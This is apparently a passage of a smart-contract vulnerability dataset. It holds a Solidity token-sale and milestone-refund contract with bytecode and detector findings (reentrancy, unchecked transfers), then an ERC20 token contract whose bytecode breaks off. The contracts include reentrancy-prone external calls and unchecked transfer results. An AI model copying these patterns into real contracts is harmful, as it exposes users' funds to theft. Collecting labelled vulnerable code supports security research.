require( remainingTokens > 0, "remainingTokens > 0" );
uint256 oneToken = 10 ** uint256(tokenSaleContract.decimals());
uint256 tokenAmount = msg.value.mul( oneToken ).div( tokenPrice );
uint256 remainingTokensGlobal = tokenInterface( tokenSaleContract.tokenContract() ).balanceOf( address(tokenSaleContract) );
uint256 remainingTokensApplied;
if ( remainingTokensGlobal > remainingTokens ) {
remainingTokensApplied = remainingTokens;
} else {
remainingTokensApplied = remainingTokensGlobal;
}
uint256 refund = 0;
if ( remainingTokensApplied < tokenAmount ) {
refund = (tokenAmount - remainingTokensApplied).mul(tokenPrice).div(oneToken);
tokenAmount = remainingTokensApplied;
remainingTokens = 0; // set remaining token to 0
_buyer.transfer(refund);
} else {
remainingTokens = remainingTokens.sub(tokenAmount); // update remaining token without bonus
}
etherUser[_buyer] = etherUser[_buyer].add(msg.value.sub(refund));
pendingTokenUser[_buyer] = pendingTokenUser[_buyer].add(tokenAmount);
emit TakeEther( _buyer, msg.value, tokenAmount, tokenPrice );
}
function giveToken(address _buyer) internal {
require( pendingTokenUser[_buyer] > 0, "pendingTokenUser[_buyer] > 0" );
tokenUser[_buyer] = tokenUser[_buyer].add(pendingTokenUser[_buyer]);
tokenSaleContract.sendTokens(_buyer, pendingTokenUser[_buyer]);
soldTokens = soldTokens.add(pendingTokenUser[_buyer]);
pendingTokenUser[_buyer] = 0;
require( address(tokenSaleContract).call.value( etherUser[_buyer] )( bytes4( keccak256("forwardEther()") ) ) );
etherUser[_buyer] = 0;
}
function refundEther(address to) public onlyTokenSaleOwner {
to.transfer(etherUser[to]);
etherUser[to] = 0;
pendingTokenUser[to] = 0;
}
function withdraw(address to, uint256 value) public onlyTokenSaleOwner {
to.transfer(value);
}
function userBalance(address _user) public view returns( uint256 _pendingTokenUser, uint256 _tokenUser, uint256 _etherUser ) {
return (pendingTokenUser[_user], tokenUser[_user], etherUser[_user]);
}
}
contract TokedoDaico is Ownable {
using SafeMath for uint256;
tokenInterface public tokenContract;
address public milestoneSystem;
uint256 public decimals;
uint256 public tokenPrice;
mapping(address => bool) public rc;
constructor(address _wallet, address _tokenAddress, uint256[] _time, uint256[] _funds, uint256 _tokenPrice, uint256 _activeSupply) public {
tokenContract = tokenInterface(_tokenAddress);
decimals = tokenContract.decimals();
tokenPrice = _tokenPrice;
milestoneSystem = new MilestoneSystem(_wallet,_tokenAddress, _time, _funds, _tokenPrice, _activeSupply);
}
modifier onlyRC() {
require( rc[msg.sender], "rc[msg.sender]" ); //check if is an authorized rcContract
_;
}
function forwardEther() onlyRC payable public returns(bool) {
require(milestoneSystem.call.value(msg.value)(), "wallet.call.value(msg.value)()");
return true;
}
function sendTokens(address _buyer, uint256 _amount) onlyRC public returns(bool) {
return tokenContract.transfer(_buyer, _amount);
}
event NewRC(address contr);
function addRC(address _rc) onlyOwner public {
rc[ _rc ] = true;
emit NewRC(_rc);
}
function withdrawTokens(address to, uint256 value) public onlyOwner returns (bool) {
return tokenContract.transfer(to, value);
}
function setTokenContract(address _tokenContract) public onlyOwner {
tokenContract = tokenInterface(_tokenContract);
}
}
contract MilestoneSystem {
using SafeMath for uint256;
tokenInterface public tokenContract;
TokedoDaico public tokenSaleContract;
uint256[] public time;
uint256[] public funds;
bool public locked = false;
uint256 public endTimeToReturnTokens;
uint8 public step = 0;
uint256 public constant timeframeMilestone = 3 days;
uint256 public constant timeframeDeath = 30 days;
uint256 public activeSupply;
uint256 public tokenPrice;
uint256 public etherReceived;
address public wallet;
mapping(address => mapping(uint8 => uint256) ) public balance;
mapping(uint8 => uint256) public tokenDistrusted;
constructor(address _wallet, address _tokenAddress, uint256[] _time, uint256[] _funds, uint256 _tokenPrice, uint256 _activeSupply) public {
require( _wallet != address(0), "_wallet != address(0)" );
require( _time.length != 0, "_time.length != 0" );
require( _time.length == _funds.length, "_time.length == _funds.length" );
wallet = _wallet;
tokenContract = tokenInterface(_tokenAddress);
tokenSaleContract = TokedoDaico(msg.sender);
time = _time;
funds = _funds;
activeSupply = _activeSupply;
tokenPrice = _tokenPrice;
}
modifier onlyTokenSaleOwner() {
require(msg.sender == tokenSaleContract.owner(), "msg.sender == tokenSaleContract.owner()" );
_;
}
event Distrust(address sender, uint256 amount);
event Locked();
function distrust(address _from, uint _value, bytes ) public {
require(msg.sender == address(tokenContract), "msg.sender == address(tokenContract)");
if ( !locked ) {
uint256 startTimeMilestone = time[step].sub(timeframeMilestone);
uint256 endTimeMilestone = time[step];
uint256 startTimeProjectDeath = time[step].add(timeframeDeath);
bool unclaimedFunds = funds[step] > 0;
require(
( now > startTimeMilestone && now < endTimeMilestone ) ||
( now > startTimeProjectDeath && unclaimedFunds ),
"( now > startTimeMilestone && now < endTimeMilestone ) || ( now > startTimeProjectDeath && unclaimedFunds )"
);
} else {
require( locked && now < endTimeToReturnTokens ); //a timeframePost to deposit all tokens and then claim the refundMe method
}
balance[_from][step] = balance[_from][step].add(_value);
tokenDistrusted[step] = tokenDistrusted[step].add(_value);
emit Distrust(msg.sender, _value);
if( tokenDistrusted[step] > activeSupply && !locked ) {
locked = true;
endTimeToReturnTokens = now.add(timeframeDeath);
emit Locked();
}
}
function tokenFallback(address _from, uint _value, bytes _data) public {
distrust( _from, _value, _data);
}
function receiveApproval( address _from, uint _value, bytes _data) public {
require(msg.sender == address(tokenContract), "msg.sender == address(tokenContract)");
require(msg.sender.call(bytes4(keccak256("transferFrom(address,address,uint256)")), _from, this, _value));
distrust( _from, _value, _data);
}
event Trust(address sender, uint256 amount);
event Unlocked();
function trust(uint8 _step) public {
require( balance[msg.sender][_step] > 0 , "balance[msg.sender] > 0");
uint256 amount = balance[msg.sender][_step];
balance[msg.sender][_step] = 0;
tokenDistrusted[_step] = tokenDistrusted[_step].sub(amount);
tokenContract.transfer(msg.sender, amount);
emit Trust(msg.sender, amount);
if( tokenDistrusted[step] <= activeSupply && locked ) {
locked = false;
endTimeToReturnTokens = 0;
emit Unlocked();
}
}
event Refund(address sender, uint256 money);
function refundMe() public {
require(locked, "locked");
require( now > endTimeToReturnTokens, "now > endTimeToReturnTokens" );
uint256 ethTot = address(this).balance;
require( ethTot > 0 , "ethTot > 0");
uint256 tknAmount = balance[msg.sender][step];
require( tknAmount > 0 , "tknAmount > 0");
balance[msg.sender][step] = 0;
tokenContract.burn(tknAmount);
uint256 tknTot = tokenDistrusted[step];
uint256 rate = tknAmount.mul(1e18).div(tknTot);
uint256 money = ethTot.mul(rate).div(1e18);
if( money > address(this).balance ) {
money = address(this).balance;
}
msg.sender.transfer(money);
emit Refund(msg.sender, money);
}
function ownerWithdraw() public onlyTokenSaleOwner {
require(!locked, "!locked");
require(now > time[step], "now > time[step]");
require(funds[step] > 0, "funds[step] > 0");
uint256 amountApplied = funds[step];
funds[step] = 0;
step = step+1;
uint256 value;
if( amountApplied > address(this).balance || time.length == step+1)
value = address(this).balance;
else {
value = amountApplied;
}
msg.sender.transfer(value);
}
function ownerWithdrawTokens(address _tokenContract, address to, uint256 value) public onlyTokenSaleOwner returns (bool) { //for airdrop reason to distribute to Tokedo Token Holder
require( _tokenContract != address(tokenContract), "_tokenContract != address(tokenContract)"); // the owner can withdraw tokens except Tokedo Tokens
return tokenInterface(_tokenContract).transfer(to, value);
}
function setWallet(address _wallet) public onlyTokenSaleOwner returns(bool) {
require( _wallet != address(0), "_wallet != address(0)" );
wallet = _wallet;
return true;
}
function () public payable {
require(msg.sender == address(tokenSaleContract), "msg.sender == address(tokenSaleContract)");
if( etherReceived < funds[0] ) {
require( wallet != address(0), "wallet != address(0)" );
wallet.transfer(msg.value);
}
etherReceived = etherReceived.add(msg.value);
}
}
|
0x6080604052600436106101245763ffffffff60e060020a6000350416630103c92b811461012f5780630570d5681461016e57806312fa6feb146101a35780631f2698ab146101b85780631f378b8a146101cd5780632a513dd9146101ee5780633197cbb61461020657806334323d321461022d5780635023b6a71461024e5780635983ae4e146102665780635ed9ebfc1461028d578063675cef14146102a2578063689da08e146102b757806378e97925146102e85780637e1c0c09146102fd5780637ff9b59614610312578063924669b214610327578063a0355eca14610348578063a035b1fe14610363578063b1fe3eef14610378578063bf583903146103ad578063c072422d146103c2578063ce1ff67e146103dc578063f3fef3a3146103fd575b61012d33610421565b005b34801561013b57600080fd5b50610150600160a060020a03600435166108d3565b60408051938452602084019290925282820152519081900360600190f35b34801561017a57600080fd5b5061018f600160a060020a0360043516610905565b604080519115158252519081900360200190f35b3480156101af57600080fd5b5061018f61091a565b3480156101c457600080fd5b5061018f610931565b3480156101d957600080fd5b5061012d600160a060020a0360043516610946565b3480156101fa57600080fd5b5061012d600435610a41565b34801561021257600080fd5b5061021b610ad9565b60408051918252519081900360200190f35b34801561023957600080fd5b5061021b600160a060020a0360043516610adf565b34801561025a57600080fd5b5061021b600435610af1565b34801561027257600080fd5b5061021b600160a060020a0360043516602435604435610b03565b34801561029957600080fd5b5061021b610bdc565b3480156102ae57600080fd5b5061021b610be2565b3480156102c357600080fd5b506102cc610be8565b60408051600160a060020a039092168252519081900360200190f35b3480156102f457600080fd5b5061021b610bf7565b34801561030957600080fd5b5061021b610bfd565b34801561031e57600080fd5b5061021b610c16565b34801561033357600080fd5b5061021b600160a060020a0360043516610c1c565b34801561035457600080fd5b5061012d600435602435610c2e565b34801561036f57600080fd5b5061021b610cdd565b61018f600160a060020a036004351660243560443560ff6064358116906084359060a4359060c4351660e43561010435610d90565b3480156103b957600080fd5b5061021b610e8a565b61018f60043560243560ff60443516606435608435610e90565b3480156103e857600080fd5b5061021b600160a060020a0360043516610eaa565b34801561040957600080fd5b5061012d600160a060020a0360043516602435610ebc565b600080600080600060035442111515610484576040805160e560020a62461bcd02815260206004820152600f60248201527f6e6f77203e20737461727454696d650000000000000000000000000000000000604482015290519081900360640190fd5b60045442106104dd576040805160e560020a62461bcd02815260206004820152600d60248201527f6e6f77203c20656e6454696d6500000000000000000000000000000000000000604482015290519081900360640190fd5b600554341015610537576040805160e560020a62461bcd02815260206004820152601960248201527f6d73672e76616c7565203e3d2065746865724d696e696d756d00000000000000604482015290519081900360640190fd5b600754600010610591576040805160e560020a62461bcd02815260206004820152601360248201527f72656d61696e696e67546f6b656e73203e203000000000000000000000000000604482015290519081900360640190fd5b600260009054906101000a9004600160a060020a0316600160a060020a031663313ce5676040518163ffffffff1660e060020a028152600401602060405180830381600087803b1580156105e457600080fd5b505af11580156105f8573d6000803e3d6000fd5b505050506040513d602081101561060e57600080fd5b5051600854600a9190910a955061063b9061062f348863ffffffff610f8a16565b9063ffffffff610fb916565b9350600260009054906101000a9004600160a060020a0316600160a060020a03166355a373d66040518163ffffffff1660e060020a028152600401602060405180830381600087803b15801561069057600080fd5b505af11580156106a4573d6000803e3d6000fd5b505050506040513d60208110156106ba57600080fd5b5051600254604080517f70a08231000000000000000000000000000000000000000000000000000000008152600160a060020a039283166004820152905191909216916370a082319160248083019260209291908290030181600087803b15801561072457600080fd5b505af1158015610738573d6000803e3d6000fd5b505050506040513d602081101561074e57600080fd5b505160075490935083111561076757600754915061076b565b8291505b506000838210156107dd576107918561062f600854858803610f8a90919063ffffffff16565b9050819350600060078190555085600160a060020a03166108fc829081150290604051600060405180830381858888f193505050501580156107d7573d6000803e3d6000fd5b506107f4565b6007546107f0908563ffffffff610fce16565b6007555b61082c610807348363ffffffff610fce16565b600160a060020a0388166000908152600a60205260409020549063ffffffff610fe016565b600160a060020a0387166000908152600a6020908152604080832093909355600b90522054610861908563ffffffff610fe016565b600160a060020a0387166000818152600b60209081526040918290209390935560085481519283523493830193909352818101879052606082019290925290517ff33fd2b0af6a36040f085cbd9b58343c9f09b492063d2148a5da38feb77b1dbe9181900360800190a1505050505050565b600160a060020a03166000908152600b6020908152604080832054600c835281842054600a9093529220549192909190565b60006020819052908152604090205460ff1681565b600060045442118061092c5750600754155b905090565b600060035442118061092c5750506007541590565b600260009054906101000a9004600160a060020a0316600160a060020a0316638da5cb5b6040518163ffffffff1660e060020a028152600401602060405180830381600087803b15801561099957600080fd5b505af11580156109ad573d6000803e3d6000fd5b505050506040513d60208110156109c357600080fd5b5051600160a060020a031633146109d957600080fd5b600160a060020a0381166000818152600a602052604080822054905181156108fc0292818181858888f19350505050158015610a19573d6000803e3d6000fd5b50600160a060020a03166000908152600a60209081526040808320839055600b909152812055565b600260009054906101000a9004600160a060020a0316600160a060020a0316638da5cb5b6040518163ffffffff1660e060020a028152600401602060405180830381600087803b158015610a9457600080fd5b505af1158015610aa8573d6000803e3d6000fd5b505050506040513d6020811015610abe57600080fd5b5051600160a060020a03163314610ad457600080fd5b600555565b60045490565b600b6020526000908152604090205481565b60016020526000908152604090205481565b604080517f41746f6d617820617574686f72697a6174696f6e3a00000000000000000000006020808301919091526c010000000000000000000000003081026035840152600160a060020a038716026049830152605d8201859052607d80830185905283518084039091018152609d909201928390528151600093918291908401908083835b60208310610ba85780518252601f199092019160209182019101610b89565b5181516020939093036101000a60001901801990911692169190911790526040519201829003909120979650505050505050565b60065481565b60055481565b600954600160a060020a031681565b60035490565b600061092c600654600754610fe090919063ffffffff16565b60085481565b600a6020526000908152604090205481565b600260009054906101000a9004600160a060020a0316600160a060020a0316638da5cb5b6040518163ffffffff1660e060020a028152600401602060405180830381600087803b158015610c8157600080fd5b505af1158015610c95573d6000803e3d6000fd5b505050506040513d6020811015610cab57600080fd5b5051600160a060020a03163314610cc157600080fd5b8115610ccd5760038290555b8015610cd95760048190555b5050565b600061092c600260009054906101000a9004600160a060020a0316600160a060020a031663313ce5676040518163ffffffff1660e060020a028152600401602060405180830381600087803b158015610d3557600080fd5b505af1158015610d49573d6000803e3d6000fd5b505050506040513d6020811015610d5f57600080fd5b5051600854600a9190910a90610d8490670de0b6b3a76400009063ffffffff610fb916565b9063ffffffff610f8a16565b6000806000610da08c8c8c610b03565b604080516000808252602080830180855285905260ff8b1683850152606083018a905260808301899052925193955060019360a08084019493601f19830193908390039091019190865af1158015610dfc573d6000803e3d6000fd5b5050604051601f190151915050600160a060020a03808216908d1614610e6c576040805160e560020a62461bcd02815260206004820152601860248201527f7369676e6572203d3d205f627579657241646472657373200000000000000000604482015290519081900360640190fd5b610e7a8c8c8c8c8c8c610fed565b9c9b505050505050505050505050565b60075490565b6000610ea0338787878787610fed565b9695505050505050565b600c6020526000908152604090205481565b600260009054906101000a9004600160a060020a0316600160a060020a0316638da5cb5b6040518163ffffffff1660e060020a028152600401602060405180830381600087803b158015610f0f57600080fd5b505af1158015610f23573d6000803e3d6000fd5b505050506040513d6020811015610f3957600080fd5b5051600160a060020a03163314610f4f57600080fd5b604051600160a060020a0383169082156108fc029083906000818181858888f19350505050158015610f85573d6000803e3d6000fd5b505050565b6000821515610f9b57506000610fb3565b50818102818382811515610fab57fe5b0414610fb357fe5b92915050565b60008183811515610fc657fe5b049392505050565b600082821115610fda57fe5b50900390565b81810182811015610fb357fe5b600080600080610ffe8a8a8a610b03565b604080516000808252602080830180855285905260ff8c1683850152606083018b9052608083018a9052925193965060019360a08084019493601f19830193908390039091019190865af115801561105a573d6000803e3d6000fd5b505060408051601f190151600160a060020a03811660009081526020819052919091205490935060ff16151590506110dc576040805160e560020a62461bcd02815260206004820152601360248201527f69734b79635369676e65725b7369676e65725d00000000000000000000000000604482015290519081900360640190fd5b6000898152600160205260409020546110fb903463ffffffff610fe016565b90508781111561110a57600080fd5b6000898152600160209081526040918290208390558151600160a060020a038d811682529181018c90528083018b90529151908416917faa8045c83ac4ee300a0e08a82a65d0a5a85baa7f13ed145c966d603233129215919081900360600190a26111748a611182565b9a9950505050505050505050565b6000803411156111955761119582610421565b61119e826111a6565b506001919050565b600160a060020a0381166000908152600b602052604081205411611214576040805160e560020a62461bcd02815260206004820152601c60248201527f70656e64696e67546f6b656e557365725b5f62757965725d203e203000000000604482015290519081900360640190fd5b600160a060020a0381166000908152600b6020908152604080832054600c909252909120546112489163ffffffff610fe016565b600160a060020a038083166000818152600c6020908152604080832095909555600254600b82528583205486517f05ab421d00000000000000000000000000000000000000000000000000000000815260048101959095526024850152945194909316936305ab421d936044808501949193918390030190829087803b1580156112d157600080fd5b505af11580156112e5573d6000803e3d6000fd5b505050506040513d60208110156112fb57600080fd5b5050600160a060020a0381166000908152600b60205260409020546006546113289163ffffffff610fe016565b600655600160a060020a038082166000908152600b60209081526040808320839055600254600a9092528083205481517f666f7277617264457468657228290000000000000000000000000000000000008152825190819003600e01812063ffffffff60e060020a9182900490811690910282529251939095169491939092600480840193829003018185885af1935050505015156113c657600080fd5b600160a060020a03166000908152600a60205260408120555600a165627a7a72305820ed12146bdff05f06c37b3ac6317bb505c2e32e29baaf1a6b4e6c27b6ad04a8a50029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,929 |
0xe1aee98495365fc179699c1bb3e761fa716bee62
|
pragma solidity >=0.4.17;
contract Migrations {
address public owner;
event TransferOwnership(address oldaddr, address newaddr);
modifier onlyOwner() { require(msg.sender == owner); _; }
function Migrations() public {
owner = msg.sender;
}
function transferOwnership(address _new) onlyOwner public {
address oldaddr = owner;
owner = _new;
emit TransferOwnership(oldaddr, owner);
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract BezantERC20Base {
using SafeMath for uint256;
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function BezantERC20Base(string tokenName) public {
uint256 initialSupply = 1000000000;
//totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
totalSupply = initialSupply.mul(1 ether); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = 'BZNT'; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint256 _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to].add(_value) > balanceOf[_to]);
// Save this for an assertion in the future
uint256 previousBalances = balanceOf[_from].add(balanceOf[_to]);
// Subtract from the sender
balanceOf[_from] = balanceOf[_from].sub(_value);
// Add the same to the recipient
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract from the sender
totalSupply = totalSupply.sub(_value); // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); // Subtract from the sender's allowance
totalSupply = totalSupply.sub(_value); // Update totalSupply
emit Burn(_from, _value);
return true;
}
}
contract BezantToken is Migrations, BezantERC20Base {
bool public isUseContractFreeze;
address public managementContractAddress;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function BezantToken(string tokenName) BezantERC20Base(tokenName) onlyOwner public {}
function _transfer(address _from, address _to, uint256 _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to].add(_value) > balanceOf[_to]);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
}
function freezeAccountForOwner(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
function setManagementContractAddress(bool _isUse, address _from) onlyOwner public {
isUseContractFreeze = _isUse;
managementContractAddress = _from;
}
function freezeAccountForContract(address target, bool freeze) public {
require(isUseContractFreeze);
require(managementContractAddress == msg.sender);
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
}
|
0x608060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610117578063095ea7b3146101a757806318160ddd1461020c57806323b872dd14610237578063313ce567146102bc57806342966c68146102ed5780634694fe85146103325780635fc02dcd1461036157806370a08231146103b057806379cc6790146104075780637cc0e6701461046c5780637d37fcba146104bb5780638da5cb5b1461050a57806395d89b4114610561578063a9059cbb146105f1578063b414d4b61461063e578063cae9ca5114610699578063ce578cd614610744578063dd62ed3e1461079b578063f2fde38b14610812575b600080fd5b34801561012357600080fd5b5061012c610855565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016c578082015181840152602081019050610151565b50505050905090810190601f1680156101995780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b357600080fd5b506101f2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108f3565b604051808215151515815260200191505060405180910390f35b34801561021857600080fd5b50610221610980565b6040518082815260200191505060405180910390f35b34801561024357600080fd5b506102a2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610986565b604051808215151515815260200191505060405180910390f35b3480156102c857600080fd5b506102d1610b38565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102f957600080fd5b5061031860048036038101908080359060200190929190505050610b4b565b604051808215151515815260200191505060405180910390f35b34801561033e57600080fd5b50610347610ca2565b604051808215151515815260200191505060405180910390f35b34801561036d57600080fd5b506103ae600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610cb5565b005b3480156103bc57600080fd5b506103f1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dda565b6040518082815260200191505060405180910390f35b34801561041357600080fd5b50610452600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610df2565b604051808215151515815260200191505060405180910390f35b34801561047857600080fd5b506104b9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035151590602001909291905050506110e4565b005b3480156104c757600080fd5b50610508600480360381019080803515159060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611225565b005b34801561051657600080fd5b5061051f6112df565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561056d57600080fd5b50610576611304565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105b657808201518184015260208101905061059b565b50505050905090810190601f1680156105e35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156105fd57600080fd5b5061063c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113a2565b005b34801561064a57600080fd5b5061067f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113b1565b604051808215151515815260200191505060405180910390f35b3480156106a557600080fd5b5061072a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506113d1565b604051808215151515815260200191505060405180910390f35b34801561075057600080fd5b50610759611554565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156107a757600080fd5b506107fc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061157a565b6040518082815260200191505060405180910390f35b34801561081e57600080fd5b50610853600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061159f565b005b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108eb5780601f106108c0576101008083540402835291602001916108eb565b820191906000526020600020905b8154815290600101906020018083116108ce57829003601f168201915b505050505081565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b60045481565b6000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610a1357600080fd5b610aa282600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461171c90919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b2d848484611735565b600190509392505050565b600360009054906101000a900460ff1681565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610b9b57600080fd5b610bed82600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461171c90919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c458260045461171c90919063ffffffff16565b6004819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b600760009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d1057600080fd5b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b60056020528060005260406000206000915090505481565b600081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610e4257600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff